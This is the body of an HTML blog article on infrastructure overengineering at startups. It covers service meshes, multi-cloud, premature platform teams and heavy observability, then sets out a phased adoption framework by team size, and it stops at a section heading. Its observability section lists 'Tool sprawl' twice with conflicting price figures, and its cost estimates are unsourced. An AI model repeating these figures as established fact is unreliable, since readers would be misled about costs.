          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-problem-with-premature-sophistication"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Engineering leaders face constant pressure to adopt &quot;best practices&quot; from industry giants. Conference talks showcase service meshes managing thousands of microservices. Blog posts detail multi-cloud disaster recovery strategies. LinkedIn is full of platform engineering teams building internal developer platforms.</p>
<p>These approaches work brilliantly for companies with hundreds of engineers, mature products, and specific scale challenges. For an organization with 25 engineers trying to reach product-market fit, they are organizational poison.</p>
<p>The pattern repeats across startups and scale-ups:</p>
<p><strong>Month 1</strong>: CTO reads about Istio service mesh, decides it is &quot;future-proof&quot;</p>
<p><strong>Month 3</strong>: Two senior engineers spend full-time debugging mTLS certificate rotation</p>
<p><strong>Month 6</strong>: Feature velocity drops 40%, team blames &quot;technical debt&quot;</p>
<p><strong>Month 12</strong>: Company migrates back to nginx + Kubernetes Ingress, writes it off as &quot;learning experience&quot;</p>
<p>Total cost: $300,000 in engineer time, 6 months of reduced velocity, one departing staff engineer who joined &quot;to ship features, not fight infrastructure.&quot;</p>
<p>This is not hypothetical. This is a pattern that plays out dozens of times across the startup ecosystem every quarter.</p>
<hr>
<h2 id="h2-the-four-most-common-overengineering-patterns" class="group relative scroll-mt-24">
        <a href="#h2-the-four-most-common-overengineering-patterns" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Four Most Common Overengineering Patterns
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-four-most-common-overengineering-patterns"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-service-mesh-before-50-engineers" class="group relative scroll-mt-24">
        <a href="#h3-1-service-mesh-before-50-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Service Mesh Before 50 Engineers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-service-mesh-before-50-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>What it promises</strong>: Sophisticated traffic management, observability, and security between microservices.</p>
<p><strong>What it actually delivers at small scale</strong>:</p>
<ul>
<li><strong>Operational complexity</strong>: Certificate management, sidecar debugging, control plane monitoring</li>
<li><strong>Performance overhead</strong>: 5-15ms latency per service hop, increased memory usage</li>
<li><strong>Learning curve</strong>: 2-4 weeks onboarding time per engineer</li>
<li><strong>Maintenance burden</strong>: Major version upgrades every 6-12 months affecting entire infrastructure</li>
</ul>
<p><strong>The reality check</strong>:</p>
<p>At 30 engineers, you probably have 8-15 backend services. Standard Kubernetes Ingress + nginx handles this workload with 1/10th the complexity. You need a service mesh when:</p>
<ul>
<li>You have 50+ microservices with complex inter-service communication patterns</li>
<li>You require fine-grained traffic routing (canary releases per service, A/B testing at service layer)</li>
<li>Compliance demands service-to-service encryption and audit trails</li>
<li>You have dedicated SRE capacity to maintain the mesh</li>
</ul>
<p><strong>Cost differential</strong>:</p>
<ul>
<li><strong>Without service mesh</strong>: 0.5 engineer-weeks/month maintaining ingress + monitoring</li>
<li><strong>With service mesh</strong>: 4-6 engineer-weeks/month managing mesh, debugging sidecars, certificate rotation</li>
<li><strong>Opportunity cost</strong>: ~50-70 feature-weeks/year redirected to infrastructure</li>
</ul>
<h3 id="h3-2-multi-cloud-before-product-market-fit" class="group relative scroll-mt-24">
        <a href="#h3-2-multi-cloud-before-product-market-fit" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Multi-Cloud Before Product-Market Fit
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-multi-cloud-before-product-market-fit"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>What it promises</strong>: Vendor independence, disaster recovery, cost optimization through provider arbitrage.</p>
<p><strong>What it actually delivers at small scale</strong>:</p>
<ul>
<li><strong>Duplicate tooling</strong>: Two CI/CD pipelines, two IaC codebases, two monitoring stacks</li>
<li><strong>Operational overhead</strong>: Managing two cloud provider accounts, IAM models, billing systems</li>
<li><strong>Team fragmentation</strong>: Split knowledge across AWS and GCP, harder to build deep expertise</li>
<li><strong>Hidden costs</strong>: Cross-cloud data transfer fees ($0.08-0.15/GB), duplicate managed services</li>
</ul>
<p><strong>The reality check</strong>:</p>
<p>Multi-cloud makes sense for:</p>
<ul>
<li>Companies with $20M+ annual cloud spend negotiating leverage</li>
<li>Regulated industries requiring geographic data sovereignty across providers</li>
<li>Organizations with 100+ engineers where specialization is economically viable</li>
<li>Products with provider-specific features (e.g., AWS SageMaker + GCP BigQuery)</li>
</ul>
<p>At 40 engineers with $50K/month cloud spend, multi-cloud adds:</p>
<ul>
<li><strong>Direct costs</strong>: $15-25K/month in duplicate infrastructure and data transfer</li>
<li><strong>Engineer time</strong>: 2-3 full-time engineers maintaining dual-cloud systems</li>
<li><strong>Velocity tax</strong>: 20-30% slower deployments due to cross-cloud complexity</li>
</ul>
<p><strong>Alternative approach</strong>: Single cloud provider, design portable architecture, defer multi-cloud until cloud spend exceeds $200K/month.</p>
<h3 id="h3-3-platform-teams-before-platform-users" class="group relative scroll-mt-24">
        <a href="#h3-3-platform-teams-before-platform-users" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Platform Teams Before Platform Users
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-platform-teams-before-platform-users"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>What it promises</strong>: Standardized infrastructure, self-service deployments, improved developer experience.</p>
<p><strong>What it actually delivers too early</strong>:</p>
<ul>
<li><strong>Ticket queue bottleneck</strong>: 3-person platform team becomes gatekeeper for 35 product engineers</li>
<li><strong>Premature abstraction</strong>: Internal platform solves problems teams do not have yet</li>
<li><strong>Coordination overhead</strong>: More meetings about platform roadmap than actual infrastructure improvements</li>
<li><strong>Misaligned priorities</strong>: Platform team optimizes for elegance, product teams need quick iteration</li>
</ul>
<p><strong>The reality check</strong>:</p>
<p>Platform teams succeed when:</p>
<ul>
<li>You have 60+ engineers with repeated infrastructure needs across 6+ teams</li>
<li>Engineering teams spend &gt;20% of time on undifferentiated infrastructure work</li>
<li>You can staff 5-8 dedicated platform engineers (smaller teams become bottlenecks)</li>
<li>Leadership commits to multi-quarter investment in platform development</li>
</ul>
<p><strong>Cost-benefit analysis at 40 engineers</strong>:</p>
<p><strong>Without platform team</strong>:</p>
<ul>
<li>Each product team handles own infrastructure (10% of engineer time)</li>
<li>Some duplication across teams</li>
<li>Total cost: ~4 engineer FTEs worth of distributed work</li>
</ul>
<p><strong>With premature platform team</strong>:</p>
<ul>
<li>3-person platform team building internal tools</li>
<li>Product teams waiting for platform features</li>
<li>Coordination overhead across all teams</li>
<li>Total cost: 3 dedicated FTEs + 2 FTEs coordination overhead = 5 FTEs</li>
<li><strong>Net impact</strong>: Negative productivity, slower feature delivery</li>
</ul>
<p><strong>Better approach at 40 engineers</strong>: Embed one infrastructure-focused engineer in each product team. Centralize only when patterns stabilize.</p>
<h3 id="h3-4-complex-observability-too-early" class="group relative scroll-mt-24">
        <a href="#h3-4-complex-observability-too-early" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Complex Observability Too Early
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-complex-observability-too-early"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>What it promises</strong>: Distributed tracing, advanced analytics, machine learning-powered anomaly detection.</p>
<p><strong>What it actually delivers at small scale</strong>:</p>
<ul>
<li><strong>Tool sprawl</strong>: Datadog APM ($50K/year) + Honeycomb ($30K/year) + Sentry ($15K/year)</li>
<li><strong>Tool sprawl</strong>: Datadog APM ($25K/year) + Honeycomb ($20K/year) + Sentry ($10K/year)</li>
<li><strong>Configuration burden</strong>: Instrumenting every service with OpenTelemetry, managing trace sampling</li>
<li><strong>Analysis paralysis</strong>: 50 dashboards, 200 alerts, teams ignore most of them</li>
<li><strong>Maintenance debt</strong>: Updating instrumentation libraries across every service</li>
</ul>
<p><strong>The reality check</strong>:</p>
<p>At 30 engineers, you need:</p>
<ul>
<li>Application logs (structured JSON to stdout)</li>
<li>Basic metrics (CPU, memory, request rate, error rate)</li>
<li>Uptime monitoring (synthetic checks on critical endpoints)</li>
<li>Error tracking (exception aggregation with context)</li>
</ul>
<p>This costs $200-500/month and requires minimal maintenance. Save distributed tracing for when you have &gt;20 services with complex dependencies and latency problems you cannot debug with logs.</p>
<p><strong>Complexity adoption curve</strong>:</p>
<ul>
<li><strong>0-30 engineers</strong>: Logs + basic metrics + error tracking</li>
<li><strong>30-75 engineers</strong>: Add APM for critical services</li>
<li><strong>75-150 engineers</strong>: Distributed tracing for service mesh</li>
<li><strong>150+ engineers</strong>: Advanced analytics and ML-powered monitoring</li>
</ul>
<hr>
<h2 id="h2-the-hidden-costs-of-early-complexity" class="group relative scroll-mt-24">
        <a href="#h2-the-hidden-costs-of-early-complexity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Hidden Costs of Early Complexity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-hidden-costs-of-early-complexity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Beyond direct infrastructure and tooling costs, premature complexity creates organizational drag:</p>
<h3 id="h3-1-velocity-tax" class="group relative scroll-mt-24">
        <a href="#h3-1-velocity-tax" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Velocity Tax
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-velocity-tax"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every additional system increases deployment friction:</p>
<ul>
<li><strong>Simple stack</strong> (app + database + cache): 15-minute deploy, 2 systems to monitor</li>
<li><strong>Over-engineered stack</strong> (service mesh + multi-cloud + platform abstraction): 45-minute deploy, 12 systems to coordinate</li>
</ul>
<p>At 10 deploys per day across 6 teams:</p>
<ul>
<li>Simple stack: 2.5 hours/day in deployment time</li>
<li>Complex stack: 7.5 hours/day + increased failure rate</li>
<li><strong>Net impact</strong>: 5 engineer-hours/day lost = 25% of one engineer productive time</li>
</ul>
<h3 id="h3-2-cognitive-load" class="group relative scroll-mt-24">
        <a href="#h3-2-cognitive-load" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Cognitive Load
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-cognitive-load"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Engineers have limited mental bandwidth. Complex infrastructure consumes it:</p>
<ul>
<li><strong>Learning curve</strong>: New hires take 4-6 weeks to become productive instead of 2-3 weeks</li>
<li><strong>Context switching</strong>: Engineers split attention between product features and infrastructure troubleshooting</li>
<li><strong>Decision fatigue</strong>: 15 deployment options instead of 2, paralysis replaces progress</li>
</ul>
<p>Result: Engineers spend 30-40% of time on infrastructure instead of 10-15%, without proportional business benefit.</p>
<h3 id="h3-3-hiring-constraints" class="group relative scroll-mt-24">
        <a href="#h3-3-hiring-constraints" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Hiring Constraints
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-hiring-constraints"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Exotic infrastructure narrows your hiring pool:</p>
<ul>
<li><strong>Market reality</strong>: 1,000 engineers with strong Kubernetes experience, 50 with production Istio experience</li>
<li><strong>Salary premium</strong>: Service mesh experts command 20-30% higher salaries</li>
<li><strong>Retention risk</strong>: Senior engineers join to ship products, not maintain infrastructure</li>
</ul>
<p>Over-engineering can lock you into a hiring spiral: complex infrastructure requires expensive specialists, who demand interesting technical challenges, leading to more complexity.</p>
<h3 id="h3-4-opportunity-cost" class="group relative scroll-mt-24">
        <a href="#h3-4-opportunity-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Opportunity Cost
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-opportunity-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every engineer-week spent on infrastructure is a week not spent on product:</p>
<p><strong>Scenario</strong>: 30-person engineering team, 25% time on over-engineered infrastructure</p>
<ul>
<li><strong>Infrastructure time</strong>: 7.5 engineer FTEs</li>
<li><strong>Annual cost at $150K loaded</strong>: $1.125M</li>
<li><strong>Alternative use</strong>: 7.5 engineers building features, fixing bugs, improving user experience</li>
</ul>
<p>For a startup trying to reach $10M ARR, those 7.5 engineers could be:</p>
<ul>
<li>Building 2-3 major new features per quarter</li>
<li>Improving conversion rates through UX iteration</li>
<li>Expanding to adjacent market segments</li>
</ul>
<h2 id="h2-instead-they-are-debugging-certificate-rotation-in-a-service-mesh" class="group relative scroll-mt-24">
        <a href="#h2-instead-they-are-debugging-certificate-rotation-in-a-service-mesh" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Instead, they are debugging certificate rotation in a service mesh.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-instead-they-are-debugging-certificate-rotation-in-a-service-mesh"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h2 id="h2-what-to-do-instead-progressive-complexity-adoption" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-instead-progressive-complexity-adoption" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Instead: Progressive Complexity Adoption
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-instead-progressive-complexity-adoption"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Infrastructure should scale with actual needs, not theoretical future problems. Here is a framework:</p>
<h3 id="h3-phase-1-0-30-engineers-startup" class="group relative scroll-mt-24">
        <a href="#h3-phase-1-0-30-engineers-startup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 1: 0-30 Engineers (Startup)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-1-0-30-engineers-startup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Ship features fast, learn from users, find product-market fit.</p>
<p><strong>Infrastructure approach</strong>:</p>
<ul>
<li><strong>Deployment</strong>: Managed platform (Heroku, DigitalOcean App Platform, Railway)</li>
<li><strong>Database</strong>: Managed PostgreSQL or MySQL</li>
<li><strong>Caching</strong>: Managed Redis</li>
<li><strong>Monitoring</strong>: Application logs + basic metrics (Datadog, New Relic, or Prometheus)</li>
<li><strong>CI/CD</strong>: GitHub Actions or GitLab CI with simple deploy scripts</li>
</ul>
<p><strong>Infrastructure capacity</strong>: 1 engineer at 20% time or fractional DevOps consultant.</p>
<p><strong>Why this works</strong>: Zero operational overhead, fast deploys, team focuses on product. Costs $500-2000/month for infrastructure, 0.2 FTE for maintenance.</p>
<h3 id="h3-phase-2-30-75-engineers-scale-up" class="group relative scroll-mt-24">
        <a href="#h3-phase-2-30-75-engineers-scale-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 2: 30-75 Engineers (Scale-Up)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-2-30-75-engineers-scale-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Stabilize product, optimize costs, handle growing user base.</p>
<p><strong>Infrastructure evolution</strong>:</p>
<ul>
<li><strong>Deployment</strong>: Migrate to Kubernetes if cost justifies it (typically $50K+/month on managed platforms)</li>
<li><strong>Architecture</strong>: Monolith or 3-5 well-defined services (not 20 microservices)</li>
<li><strong>Observability</strong>: Add APM for critical paths, keep logging simple</li>
<li><strong>Automation</strong>: Infrastructure as Code (Terraform), automated testing</li>
<li><strong>Team structure</strong>: 1-2 infrastructure engineers embedded in product teams</li>
</ul>
<p><strong>When to adopt complexity</strong>:</p>
<ul>
<li>Kubernetes: When managed platform costs &gt;$60K/month</li>
<li>Microservices: When team coordination problems outweigh deployment complexity</li>
<li>Dedicated infrastructure team: When product teams spend &gt;15% time on infrastructure</li>
</ul>
<p><strong>Why this works</strong>: Complexity justified by cost savings or coordination benefits. Infrastructure team is small, responsive, product-focused.</p>
<h3 id="h3-phase-3-75-150-engineers-growth" class="group relative scroll-mt-24">
        <a href="#h3-phase-3-75-150-engineers-growth" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 3: 75-150 Engineers (Growth)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-3-75-150-engineers-growth"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Enable autonomous teams, reduce coordination overhead, optimize for velocity.</p>
<p><strong>Infrastructure maturity</strong>:</p>
<ul>
<li><strong>Platform team</strong>: 4-6 engineers building self-service tools</li>
<li><strong>Architecture</strong>: Clear service boundaries, standardized deployment patterns</li>
<li><strong>Observability</strong>: Distributed tracing for service dependencies, automated runbooks</li>
<li><strong>Governance</strong>: Automated security scanning, cost attribution per team</li>
</ul>
<p><strong>Complexity that makes sense now</strong>:</p>
<ul>
<li>Service mesh: If you have 30+ services with complex traffic patterns</li>
<li>Platform engineering: Internal developer platform with self-service workflows</li>
<li>Advanced monitoring: Distributed tracing, anomaly detection</li>
</ul>
<p><strong>Why this works</strong>: Scale justifies investment. Platform team has enough users to validate priorities. Engineering organization is mature enough to adopt standardization without rebellion.</p>
<h3 id="h3-phase-4-150-engineers-enterprise" class="group relative scroll-mt-24">
        <a href="#h3-phase-4-150-engineers-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 4: 150+ Engineers (Enterprise)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-4-150-engineers-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Enable multiple autonomous business units, multi-region deployment, compliance at scale.</p>
<p><strong>Infrastructure at scale</strong>:</p>
<ul>
<li>Multi-cloud for specific workloads (not blanket adoption)</li>
<li>Mature platform engineering organization (10-15 engineers)</li>
<li>Advanced security, compliance, and cost optimization</li>
<li>SRE teams with clear SLA ownership</li>
</ul>
<p><strong>Why complexity works now</strong>: Organization has specialization capacity, clear ownership models, and business needs that justify operational overhead.</p>
<hr>
<h2 id="h2-decision-framework-when-complexity-is-justified" class="group relative scroll-mt-24">
        <a href="#h2-decision-framework-when-complexity-is-justified" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Framework: When Complexity Is Justified
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-framework-when-complexity-is-justified"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
